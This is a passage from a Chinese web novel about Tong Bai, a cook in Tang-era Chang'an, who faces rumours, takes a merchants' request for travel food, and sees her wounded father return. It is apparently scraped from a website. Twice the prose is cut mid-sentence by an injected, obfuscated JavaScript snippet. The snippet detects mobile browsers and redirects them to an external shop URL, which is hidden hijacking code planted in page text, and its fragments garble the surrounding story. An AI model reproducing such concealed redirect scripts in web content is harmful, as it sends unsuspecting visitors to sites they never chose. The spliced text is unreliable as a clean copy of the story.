“此事先不必理会。我们若无端喊冤,反倒显得心虚,像是我们真做了什么似的。” “那……谣言会不会越传越凶,到时候更难挽回?”白氏还是不放心。 童白眼神清亮,透着一股与年龄不符的冷静,“谣言如风,越是辩解,传得越快。我们越是坦然,它便越无力。咱们该做什么还做什么,酸腌菜照做,邻里往来照旧。只是日后我出入更谨慎些,您也少与那些惯会嚼舌根的妇人打交道。” 童白的镇定抚平了白氏的惊慌。她望着女儿,只觉得她通身的气度和遇事的沉稳,既陌生又熟悉。 翌日,童白依旧准时去了安仁坊小厨房。 她神色如常,指挥若定,仿佛全然不知坊间风雨。只是在下工时,她寻了个机会,单独向崔老回话,禀明了近日几家府上送来食材的情况,并委婉提了一句: “崔老,近日坊间似有些关于小女子手艺来源的闲话,恐于府上清誉有碍。小女子人微言轻,一切但凭府上定夺。” 这话语,既表明了她已知晓谣言,又将处置权完全交给了崔府,姿态放得极低,全然一副信赖依附的模样。 崔老浑浊的老眼里精光一闪,面上却不动声色:“童小娘子安心做事便可,些许宵小之言,府上自有分寸。” 童白料得没错。 这谣言起初只在崇延坊等市井间流传,但不过两三日,竟隐隐有往安仁坊这边渗透的迹象。甚至有一日,卢家派来送食材的管事,眼神也带了几分不易察觉的探究。 与此同时,崔十九郎也从王六郎嘴里,听到了这污秽不堪的流言。 王六郎说的时候一直观察着崔十九的神情,打算若是崔十九郎脸色不对,他立马就不继续说了。这种闲言碎语他一般是不会传的,但他更不愿崔十九郎被瞒。 特别是,那小厨娘做的膳食的确是太好吃了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16807559|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔十九郎脸色未变,心中却是涌起了惊天骇浪,一贯温和的眸子里凝起寒意。 市井小民如何议论他并不关心,但这种话语既能传到王六郎耳中,其他学子必然也知道,好不容易打开的局面要是因此而毁于一旦,他是怎么都不会同意的。 当日回府,崔十九郎叫来崔老,“定要彻查。”声音冷冽。 崔老躬身:“是。童小厨娘跟老奴禀明时,便已安排人去查。”他凛声片刻,复又道:“崇延坊的谣言似是跟西门坊吏有关,而安仁坊这边……跟那唐家新妇有关联。” “那谢娘子,”崔十九郎冷笑,“怕只是明面上的,我要知道背后是谁。” 他看向崔老,语气不容置疑:“谣言需尽快平息。童小娘子手艺难得,于我有益。我不希望因为这点子龌龊事,毁了多年的谋算。” “是。老奴会处理好。” 崔十九郎这边的动作,童白不知,但她能明显感受到这两日家中气氛越发低沉,白氏一反常态地喜欢上在巷子里串门,甚至跟着卢娘子去别的巷子走动。 童白自是明白白氏为何这般,因为随着她一起出去的二郎和三娘在阿姊面前都不是个嘴紧的。 “这几日,只要阿娘听到有人说阿姊的话语,就跟人争论。”二郎小声附在童白耳边说。 童白讶然:“阿娘能吵得过别人?”白氏的脾气属于隐忍型,被气哭这种事情常有,跟人吵架干仗,头一回听说。 “呃,”二郎挠挠头,“阿娘其实说不过,但她眼圈一红,卢婶子瞧见了,便立刻上前帮着分辩了。” 童白点头,明白了。心里盘算着要送点什么去吴家,表达谢意。 “叩叩叩” 童家院门被敲响。 “童小娘子,我是哈维,你在家吗?” 胡商?童白双眉一抬,心思微转,应声:“在家,这就过来。” 拉开院门,请院外的哈维和韦德进来,寒暄几句,哈维关心问:“小娘子可是结束了贵人那的活计了?” 也不怪他会这样想,前段时日童白忙着在安仁坊小厨房站稳根基,根本没有心思和精力在家制作美食,自然是没法跟胡商他们以物换物。 哈维这趟上门是为了解情况。 童小娘子为贵人家厨娘这事,巷子里的人家都知道,早出晚归,身影都少见。所以上回向童小娘子讨要缓解便秘的食物,哈维怕被拒绝,才托请卢娘子一起。但这七八日却偶尔从白氏这换来吃食。 童白摇头,“只是这段时日没有前段时间那么忙了。”没解释别的。 韦德心思灵动,“那我们是不是可以继续跟你家换吃食?”他们这趟行程十分顺利,带来的货物售卖的七七八八,开始买收回程的货物中,下回吃上童小娘子的手艺怕是要许久之后,“是否可以请童小娘子帮忙准备些耐放的食物,以供我们旅途中食用?” 没想到是这个请求,童白思索一番,点头应下,“不过,这种耐放的食物,口感大多不怎么好。” 当然,后世的那些泡面、自热火锅等方便食物不在其列,不过,那也是因为后世有防腐剂,更有先进的保质手段。这里没有。 “无妨,”哈维拱手,“能帮忙已是很好,小娘子想要用何物来换?”商队有随行伙夫,让童小娘子准备,既换换口味,也算另一类的交好。 童白思索一瞬,“这样,我尽快做样品出来,你们尝了若觉得好,我们再来谈后续?”是别人的请求,她不一定会答应,但她还想通过胡商交换香料,这条路可不能断。 “如此甚好。”哈维真诚道。 71. 童寄归家 第二日,童白才进到小厨房,便被小厮传唤去了花厅,崔老在里面等着她。 “童小厨娘,”崔老开门见山,“主子派老身去查谣言之事。不知童小厨娘可有何需要补充的?” 童白微垂眼帘,心中一番计较,“崔老明鉴,我家向来本本分分,要说得罪人,出府前奴家娘亲与绣房玉娘之间多有龃龉,我还因此被叫去延寿坊给玉娘姨母文奶娘准备酒席,多亏十九爷搭救,才免去被她们构陷。所以……”童白抬眸直视崔老,目光坚定,“我觉得,此次坊间传言,或与她们脱不了关系。” 崔老点头,“好的,老身会着重查一查。”听到了想要听的,他正欲抬手,又听童小厨娘继续说道。 “前两个月,坊间传出我爹战死沙场的消息,但官家却从未来我家通知阵亡之事,张勇军士还专门来我家送来我爹饷银……,我猜想,这事也应是她们所为。还有那长兴坊谢家,当初想要买奴去她家做厨娘,奴阿娘……拒绝了。”童白目光清澈,“还有崇延坊坊西的坊吏以及奴对门邻居陈家,陈家多次骚扰我家,那陈大河还想掳走我家二弟……” “这……”崔老眼瞳微张,很想说这些他都知晓,话到嘴边,“童小厨娘甚是不易,好在崔将军一行明早便可入城。”他才得来的消息。 “如此……”童白的心砰砰砰直跳,她按捺住情绪,“……甚好。”唇角微扬,“若是今日早些完成府中工作,可否能早些归家?” “自是可以。” 童白忍住心中各种想法,完成两顿饭食后,她坐上马车直接去了西市,背着采买的食材,踏着斜阳归家,在巷口时微微停顿,转身敲响了吴家院门。 院门微开,很快传来爽朗的笑声,童白脚步轻快地回了童家。 童家亦然欢喜非常。童白在灶屋忙着给完成胡商的嘱托时,白氏则带着二郎里外洒扫。虽则家中平日也并不脏乱,但那无处安放的兴奋与期盼,总需借着这洒扫的举动方能宣泄一二。 童白将买来的猪肉块去除筋膜,剁成肉糜,用粗盐、花椒、姜等香料腌制好,盖上干净的布巾,存放在碗橱中。 这里的人也会制作肉干和肉脯,但都是用肉块添加腌料制成。她这次要做的不一样,用肉糜,再烤制。这样做成的肉脯,虽有韧性,但又不会太费牙。 毕竟是剁成肉糜后的重组,不像肉块,都是原生的组织,吃起来更费牙口。 除了肉脯,她还打算尝试做干面条,也是唐朝版的泡面。 要想泡面好吃,主要看时看汤锅底,她今日在西市看了看,没发现菌菇,或许是她来的太晚,晚些去到安仁坊,她询问下管事,就知道这个时节,能不能采买到新鲜菌菇了。 但不管有没有菌菇为调料,干面都需要准备,虽比起啃干胡饼麻烦些,但偶尔调剂一下饮食,很有必要。 对了,在没有维生素概念之前的时代,因为每日维生素补充不够而患病的情况并不少见,所以菜干也很重要。 其实童白不明白,为何他们不自己准备,但上门的生意哪有不做的道理,她欣然应下。 家中的菜蔬早已被她转手卖给崔家,若要制菜干,还需要再采购一批。 与此同时的安仁坊崔家书房。 崔老正低着头站在书案前,“主子,童小娘子听说我要查,将跟她家不对付的人都一一告知,言语间情绪平和,思维清晰。” 要说他为何要说的如此清晰,是主子要求。 “哦?那你觉得,若是我在家举办个宴席,她若作为主厨,可能平静应对?” 崔老想了想童白往常在小厨房里的模样,笑着点头,“我观她做菜云淡风轻、游刃有余,若是主持一场私人小型宴席,应是可以。” 长安城宴席有官宴和私宴之分,官宴是正式宴席,大厨都是有来处或者是官家的,私宴则是没那么多要求。 崔衔未发一言,心中正在细细打算,现如今学堂里他也认识了不少家的郎君,那些人也跟他提及想要登门做客,他都是采用的拖延话术,一来是要跟童小娘子确认她是否能准备这么一场宴席的菜式,看是否需要外聘厨娘帮忙,二来也是他想要寻找一个合适的时机。 “那明日你问问童小娘子,”轻按直突突跳的太阳穴,崔衔轻声交代:“夜袭的背后指使之人也可以跟她说了,待童校尉明日归家,咱们的人也撤回来。” “是,老奴明白了。” 等待的时间漫长又迅速,白氏昨夜一直辗转反侧没睡好,睡在她身旁的童白亦然,翌日,俩人眼下都浮现了青黑色。 童白才将沥干水汽的面条摊开晾晒在院子里,马车轱辘声就在院外响起,“阿娘,我出门上工了,这面条子二郎帮阿姊盯着些,别让鸟儿来啄食。”这些是她昨夜擀制煮熟的面条,现在日头虽不比夏日,却也还行。 “好,”白氏看向童白,眼神带着一股说不清的情绪,“好好干活。” 二郎朝童白点头应声,“阿姊,早点回。” 童白笑着应声,朝她们胡乱挥手,转身出了院子,车轮碾轧地面的声音渐渐远去,童家院子里一片和谐安详,只有坐在马车厢里的童白,心跳如擂鼓,脑中只有一个念头。 该来的,总归都要来。 甩一甩头,童白强迫自己将心思放在今日即将要完成的事情上,只要工作安排的够满,她就没心思想东想西。 然而,理想丰满,现实骨感。 才下马车,早已等候在院子里的崔老告诉她,主子体恤下属,往后三日,她只需要做完午膳便可归家,看着崔老满脸笑容,童白只得面上做出感恩和欢喜的模样。 也清楚,崔十九爷这一举动对社畜有多大的善意,但她并不需要啊! 光影微微西移,马车行驶在坊间,童白撩起车帘,仔细瞧着马车外的风景。 路上行人并不多,甚至于相对于傍晚的热闹,这时候反倒有些冷清,微风顺着掀开的车帘吹拂在脸上,童白心中的不安也渐渐平复。 如若童爹战亡是假的,那么她迟早都要与童爹接触,对于必然要发生的事情,她无需过多焦虑,只需面对。 轻叹一声,面对之后会发生什么,而她又该如何相处,只能且行且看了。 马车在熟悉的巷口停下。 童白拎着主子赏的一袋饴糖和两块布料,脚步不急不缓地往家走去。越走越近,她的视线也越□□浮,一会儿落点在自家院墙上,一会儿又看向相邻几家,脑中各种纷杂闪现,直到站在院门前,她深吸一口气,推开了虚掩的院门。 院子里静得异样。晨间晾晒的面条仍原样摊着。二郎与三娘并排坐在灶房门坎上,小手托着腮,两双眼睛却像被线牵着,牢牢系在主屋方向。直至院门响动,那两双眸子才倏地转过来,亮得惊人。 一见是她,两个小家伙“嗖”地弹起,迈着小短腿飞快地扑将过来,一左一右紧紧箍住她的胳膊,仰起脸,却都紧抿着嘴不出声,只拼命用眼神和晃动的脑袋,急切地指向那扇紧闭的主屋门。 童白视线过去时正瞧见白氏轻手轻脚地从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822594|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主屋出来,怀里没有四郎,眼睛红肿着,一看便知适才哭过。 她掩上门转身瞧见童家姐弟三人,明显一愣,随即快步上前,嘴唇翕动几下,才叹出一句,“人回了,才躺下……”,字音才落,眼泪划过下颌,滴落。 “阿娘……”童白的声音艰涩,一时间也不知说些什么,只是视线一直往主屋瞧。 白氏拉着童白进到灶屋,抽噎道:“午时前回的,人活着……却瘦脱了形,脸跟脖子处,”白氏微顿,比着耳垂下方处,“有一道疤……身上也有,好多……”这一次出去落下的伤疤比起前些年都要多,加上出府后发生的一切,白氏的手死死攥着童白的胳膊,止不住地颤抖。 童白眼睫快速颤动,有被白氏抓着的疼,也有心痛。这种感觉对于她来说,有些陌生。像是原主的,也像是自己的,她紧紧握住白氏颤抖冰凉的手,低声开解:“能活着回来就是幸事。” 除却生死,一切都好说,死过一回的童白心下以为。 “……爹,用过午膳没?”童家是没有用午膳这一说法的,但童爹,不,是爹,受伤了,少吃多顿补一补,很是有必要。 白氏摇头,“崔将军安排马车送回的,说了几句话,他才睡下……” 对于崔将军的好心举动,童白并未多言,只说,“那我这就去做点膳食,好克化的那种。”童白将挎在胳膊上的竹篮取下,“正好今日东家赏了些饴糖,虽比不得红糖补气血,但能甜甜嘴,我再……”话语是很好的舒缓紧张的办法。 就在这时,主屋的门打开,一道高大的身影出现在院中,正是童家当家人——童寄。 才出主屋,就被明媚阳光晃了眼,童寄眼睛微眯,左手挡在眉前,视线朝院中的家人看去。 他脸上带着长途跋涉的沧桑和受伤未愈的惨白,一道狰狞的伤疤从眉骨划向颈间,尾端隐没于衣裳之下,左胳膊缠着布条,挂在颈间。 院中站着的人,与记忆中顶天立地的父亲身影重叠,却又因那份显而易见的伤病与憔悴,显得既熟悉又陌生。唯一不变的,是那双看过来的眼睛,依旧带着记忆中如海般的包容与深邃。 童白不禁喃喃:“爹……” 随着话音落下,童白敏锐地捕捉到对方那一瞬即逝的审视和探究。 同样发出喊声的还有二郎,“爹!”不同于以往的小大人模样,二郎如同幼鸟归巢一般,直接向爹跑去。 童白下意识地伸出手,提醒二郎别碰到爹的胳膊的话语还没说出,就见童爹微微侧身,右腿微微向前一屈,承住了二郎的冲撞,同时右手按在二郎的肩上,轻柔地化解了二郎即将撞到左臂的困境。 这一系列动作,行云流水,像是刻在骨子里的本能。 童白的呼吸一滞。童寄的目光就在此时落在了童白的脸上。目光沉静又饱含探究,锐利又不失温柔。仿佛能穿透皮囊直透灵魂。 童白几乎是本能地垂下眼帘,心跳如擂鼓。 “他爹,怎么才睡下又起来了?”白氏用袖子擦去泪水,问道。 童寄的视线终于从童白身上移开,摸了摸二郎的头,声音有些嘶哑:“听到你们说话的声音,就想起来看看。” 一闭眼全是厮杀声和血腥味,但又拒绝不了霜娘的善意。躺下没多久,听到院中动静,是大女儿回来了,他便顾不得那么多,起身出来。 童白头也没抬地朝灶屋走去,“阿爹、阿娘你们先聊,我去给阿爹做一碗汤饼,很快。”话语尚未说完,几乎是落荒而逃的快步走向灶屋。